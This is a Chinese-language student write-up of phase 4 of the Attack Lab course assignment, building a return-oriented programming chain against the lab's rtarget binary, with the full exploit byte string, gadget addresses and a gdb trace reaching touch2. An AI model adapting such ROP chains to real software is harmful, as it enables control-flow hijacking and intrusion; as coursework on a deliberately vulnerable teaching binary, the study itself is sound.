AttachLab phase 4

Phase 4

phase 4 重做 level 2,but with rtarget and gadget used.

回忆一下level 2, 只需完成

mov cookie, %rdi
ret

先看 recitation 给的例子,比如我们想把 0xBBBBBBBB 放到 %rbx 中,然后再把它移到 %rax 中:

我们利用了两个 gargets:

  • address1: mov %rbx, %rax;
  • ret address2: pop %rbx; ret

实际上的 buffer 是这样的:

+------------------------|
|Next address in ROP Chain
+------------------------|
|Address 1               |
+------------------------+
|0xBBBBBBBB              |
+------------------------+
|Address 2               |Old Return address
+------------------------+
|0xFFFFFFF               |
|0xFFFFFFF               |
|0xFFFFFFF               |
|0xFFFFFFF               |
|0xFFFFFFF               |
|0xFFFFFFF               |
|0xFFFFFFF               |
|0xFFFFFFF               |
|0xFFFFFFF(filler...)    |
+------------------------+ 

看 lab 给的提示和限制:

  • 只允许前八个 registers: %rax - %rdi
  • 只允许以下操作 movq, popq, ret, nop
  • start_farm 到 mid_farm 足够,用两个 gadgets
  • 当使用 popq 时,data 也会从 stack 中 pop 出来,exploit string 会包含 gadget address 和 data.

按照提示,

  • gcc -c farm.c
  • objdump -d farm.o

寻找没有 pop %rdi, 跟 %rdi 有关的mov 只有 movq %rax, %rdi 48 89 c7, 能找到 pop %rax 58.

在函数 getval_280 中 能找到 58 90 c3, 这就是我们需要用的 pop %rax, 在 objdump -d rtarget 中能找到 58 90 c3 在 0x4019cc 处,先尝试如下:

// rtarget.12.txt
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 cc 19 40 00 00 00 00 00

发现可以到达 getval-280, 再根据给的hint,这里需要把跟 0xBBBBBBBB 类似的cookie 放到这个后面,然后继续跟 movq %rax, %rdi, 我们能找到在 setval-426 处,后面跟的是 48 89 c7 90 c3, 正是我们需要的,再跟上 touch2 的地址,code部分并没有变,只是 stack 被 random了。

所以写下来

// rtarget.12.txt
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 cc 19 40 00 00 00 00 00 /* pop %rax, ret*/ fa 97 b9 59 00 00 00 00 /*cookie value*/ c5 19 40 00 00 00 00 00 /* movq %rax, %rdi, ret */ ec 17 40 00 00 00 00 00 /*touch2 begin */

实际上我们设置breakpoints 在getbuf 的最后一句,然后开始运行的时候:

r -q  -i rtarget.12-raw.txt
stepi
// 提示我们到达这里 0x00000000004019cc in getval_280 ()
stepi
stepi
info registers
// rax已经变化 rax            0x59b997fa    
stepi
// 提示我们到达 0x00000000004019c5 in setval_426 ()
stepi
stepi
stepi
// rdi            0x59b997fa
stepi
// touch2 (val=1505335290) at visible.c:40

phase 4 解决,更多关于 ROP 也可以参见: Introduction to return oriented programming (ROP)

Phase 5

phase 5 重做 level 3, 文档里这样写: “ If you have other pressing obligations consider stopping right now.”

so 暂时先 stop phase 5.

你可能感兴趣的:(AttachLab phase 4)